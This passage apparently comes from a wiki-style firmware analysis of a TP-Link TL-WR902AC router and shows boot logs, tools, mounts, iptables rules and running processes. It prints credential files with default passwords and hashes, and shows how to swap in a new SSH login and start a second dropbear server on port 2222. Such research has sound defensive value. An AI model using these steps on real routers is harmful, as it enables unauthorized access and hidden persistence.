[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1081] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Live Analysis&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC: Firmware 170828&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Available tools&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;arping          dropbear        iwconfig        pppd            tdpd&lt;br /&gt;
ash             dropbearkey     iwlist          ps              tftp&lt;br /&gt;
ated_tp         dropbearmulti   iwpriv          pwdog           tmpd&lt;br /&gt;
bpalogin        dyndns          kill            radvd           top&lt;br /&gt;
brctl           ebtables        killall         reboot          traceroute&lt;br /&gt;
busybox         echo            login           reg             umount&lt;br /&gt;
cat             free            ls              ripd            upnpd&lt;br /&gt;
chat            getty           lsmod           rm              usb_modeswitch&lt;br /&gt;
chmod           halt            mii_mgr         rmmod           usbp&lt;br /&gt;
cli             handle_card     mii_mgr_cl45    route           ushare&lt;br /&gt;
cmxdns          hotplug         mkdir           rt2860apd       vconfig&lt;br /&gt;
config-mii.sh   httpd           mldProxy        rtinicapd       vsftpd&lt;br /&gt;
cos             ifconfig        modem_scan      scp             wanType&lt;br /&gt;
cp              igmpd           mount           sh              wlNetlinkTool&lt;br /&gt;
date            init            netstat         sleep           wscd&lt;br /&gt;
df              insmod          noipdns         smbcontrol      wscd_5G&lt;br /&gt;
dhcp6c          ip              ntfs-3g         smbd            xl2tpd&lt;br /&gt;
dhcp6s          ip6tables       ntpc            smbpasswd       xtables-multi&lt;br /&gt;
dhcpc           ipcrm           pidof           switch          zebra&lt;br /&gt;
dhcpd           ipcs            ping            taskset&lt;br /&gt;
diagTool        ipping          ping6           tc&lt;br /&gt;
dnsProxy        iptables        poweroff        tddp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Mounted filesystems&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type squashfs (ro,relatime)&lt;br /&gt;
proc on /proc type proc (rw,relatime)&lt;br /&gt;
ramfs on /var type ramfs (rw,relatime)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/sys on /sys type sysfs (rw,relatime)&lt;br /&gt;
usbfs on /proc/bus/usb type usbfs (rw,relatime)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /var/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd_passwd&lt;br /&gt;
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd.conf&lt;br /&gt;
anonymous_enable=NO&lt;br /&gt;
local_enable=YES&lt;br /&gt;
write_enable=YES&lt;br /&gt;
connect_from_port_20=YES&lt;br /&gt;
ascii_upload_enable=YES&lt;br /&gt;
ascii_download_enable=YES&lt;br /&gt;
listen=YES&lt;br /&gt;
chroot_local_user=YES&lt;br /&gt;
max_clients=2&lt;br /&gt;
ftpd_banner=Welcome to TP-LINK FTP server&lt;br /&gt;
pasv_min_port=50000&lt;br /&gt;
pasv_max_port=60000&lt;br /&gt;
&lt;br /&gt;
# ls /var/tmp/dropbear/&lt;br /&gt;
dropbear_dss_host_key  dropbear_rsa_host_key  dropbearpwd&lt;br /&gt;
# cat /var/tmp/dropbear/dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3.    						&amp;lt;-- MD5(&amp;quot;admin&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Extracted from the Bootlog&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;It is also possible to add or change user credentials to work with SSH since the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory is writable. Also dropbear can run on multiple ports. In a similar manner, using &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt;, it is possible to modify the passwd file in the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;~ # cd /var/tmp/dropbear/&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
/var/tmp/dropbear # cp dropbearpwd dropbearpwd.bak&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;username:test&amp;quot; &amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;password:21232f297a57a5a743894a0e4a801fc3&amp;quot; &amp;gt;&amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:test&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
&lt;br /&gt;
# Start a new Dropbear instance&lt;br /&gt;
dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Default IPtables&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /var/tmp/dconf/rc.router&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
#delete old rules&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#enable ip forward&lt;br /&gt;
echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#set policy&lt;br /&gt;
iptables -P INPUT DROP&lt;br /&gt;
iptables -P FORWARD DROP&lt;br /&gt;
iptables -P OUTPUT ACCEPT&lt;br /&gt;
iptables -t nat -P PREROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P POSTROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P OUTPUT ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -N CTL&lt;br /&gt;
iptables -N FORWARD_DMZ&lt;br /&gt;
iptables -N FORWARD_UPNP&lt;br /&gt;
iptables -N FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -N FORWARD_PT&lt;br /&gt;
iptables -N FORWARD_VS&lt;br /&gt;
iptables -N FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -N PARENTCTL&lt;br /&gt;
iptables -N PCRULE&lt;br /&gt;
iptables -N PCDROP&lt;br /&gt;
iptables -N FIREWALL&lt;br /&gt;
iptables -N FIREWALL_DDOS&lt;br /&gt;
iptables -N FWRULE&lt;br /&gt;
iptables -N FWD_MARK_LAN&lt;br /&gt;
iptables -N FWD_MARK_WAN&lt;br /&gt;
iptables -N OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -N BRIDGE_ISOLATION&lt;br /&gt;
iptables -t nat -N PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N PREROUTING_PT&lt;br /&gt;
iptables -t nat -N PREROUTING_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -N NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -I OUTPUT -j OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -t filter -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -j CTL&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_VS&lt;br /&gt;
iptables -A FORWARD -j FORWARD_PT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_DMZ&lt;br /&gt;
iptables -A FORWARD -j FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -t nat -A PREROUTING ! -i br+ -d 255.255.255.255 -p udp --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_VS&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_PT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -j ACCEPT&lt;br /&gt;
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -i lo -p ALL -j ACCEPT              -m comment --comment &amp;quot;loop back&amp;quot;&lt;br /&gt;
iptables -t filter -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp ! -i br+ --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp --dport 161 -j ACCEPT&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# iptables -nvL&lt;br /&gt;
Chain INPUT (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
   12  4449 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0            /* loop back */&lt;br /&gt;
 2316  206K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
   26  4240 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
    0     0 ACCEPT     udp  --  !br+   *       0.0.0.0/0            0.0.0.0/0            udp spt:67 dpt:68&lt;br /&gt;
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:161&lt;br /&gt;
  216 14556 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 ACCEPT     all  --  *      br+     0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 CTL        all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 FORWARD_VS  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_PT  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP_SECCONN  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_DMZ  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_VPN_PASSTHROUGH  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 1954 packets, 3746K bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
 1981 3755K OUTPUT_MARK_LOCAL  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain BRIDGE_ISOLATION (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain CTL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL_DDOS (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_DMZ (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_PT (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP_SECCONN (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VPN_PASSTHROUGH (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VS (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_LAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_WAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT_MARK_LOCAL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PARENTCTL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCDROP (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Running processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 admin     1068 S    init&lt;br /&gt;
    2 admin        0 SW   [kthreadd]&lt;br /&gt;
    3 admin        0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 admin        0 SW   [kworker/0:0]&lt;br /&gt;
    5 admin        0 SW   [kworker/u:0]&lt;br /&gt;
    6 admin        0 SW&amp;lt;  [khelper]&lt;br /&gt;
    7 admin        0 SW   [kworker/u:1]&lt;br /&gt;
   44 admin        0 SW   [sync_supers]&lt;br /&gt;
   46 admin        0 SW   [bdi-default]&lt;br /&gt;
   48 admin        0 SW&amp;lt;  [kblockd]&lt;br /&gt;
   79 admin        0 SW   [kswapd0]&lt;br /&gt;
   81 admin        0 SW&amp;lt;  [crypto]&lt;br /&gt;
  642 admin        0 SW   [mtdblock0]&lt;br /&gt;
  647 admin        0 SW   [mtdblock1]&lt;br /&gt;
  652 admin        0 SW   [mtdblock2]&lt;br /&gt;
  657 admin        0 SW   [mtdblock3]&lt;br /&gt;
  662 admin        0 SW   [mtdblock4]&lt;br /&gt;
  667 admin        0 SW   [mtdblock5]&lt;br /&gt;
  672 admin        0 SW   [mtdblock6]&lt;br /&gt;
  690 admin        0 SW   [kworker/0:1]&lt;br /&gt;
  731 admin        0 SW   [khubd]&lt;br /&gt;
  777 admin     3132 S    cos&lt;br /&gt;
  778 admin     1068 S    /bin/sh&lt;br /&gt;
  867 admin     2300 S    igmpd&lt;br /&gt;
  870 admin     2320 S    mldProxy&lt;br /&gt;
  871 admin     3132 S    cos&lt;br /&gt;
  872 admin     3132 S    cos&lt;br /&gt;
  873 admin     3132 S    cos&lt;br /&gt;
  876 admin     2264 S    ntpc&lt;br /&gt;
  880 admin     2272 S    dyndns /var/tmp/dconf/dyndns.conf&lt;br /&gt;
  883 admin     2272 S    noipdns /var/tmp/dconf/noipdns.conf&lt;br /&gt;
  886 admin     2272 S    cmxdns /var/tmp/dconf/cmxdns.conf&lt;br /&gt;
  982 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
  983 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
  984 admin        0 SW   [RtmpMlmeTask]&lt;br /&gt;
  997 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1000 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1001 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1003 admin     1080 S    wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/&lt;br /&gt;
 1042 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
 1043 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
 1058 admin     1080 S    wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/&lt;br /&gt;
 1062 admin     2840 S    httpd&lt;br /&gt;
 1065 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1077 admin     2260 S    dnsProxy&lt;br /&gt;
 1080 admin     1068 S    dhcpd /var/tmp/dconf/udhcpd.conf&lt;br /&gt;
 1097 admin     1156 S    dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run&lt;br /&gt;
 1100 admin     2880 S    tmpd&lt;br /&gt;
 1104 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1105 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1106 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1107 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1108 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1109 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1110 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1111 admin     2740 S    tdpd&lt;br /&gt;
 1115 admin      992 R    dhcpc&lt;br /&gt;
 1124 admin     1036 S    zebra -d -f /var/tmp/dconf/zebra.conf&lt;br /&gt;
 1138 admin     2264 S    diagTool&lt;br /&gt;
 1187 admin     2464 S    ushare&lt;br /&gt;
 1193 admin     2464 S    ushare&lt;br /&gt;
 1195 admin     2464 S    ushare&lt;br /&gt;
 1196 admin     2464 S    ushare&lt;br /&gt;
 1197 admin     2464 S    ushare&lt;br /&gt;
 1198 admin     2464 S    ushare&lt;br /&gt;
 1199 admin     2464 S    ushare&lt;br /&gt;
 1202 admin     2464 S    ushare&lt;br /&gt;
 1215 admin      904 S    vsftpd&lt;br /&gt;
 1219 admin     3908 S    smbd -D&lt;br /&gt;
 1226 admin     3908 S    smbd -D&lt;br /&gt;
 1264 admin     2788 S    tddp&lt;br /&gt;
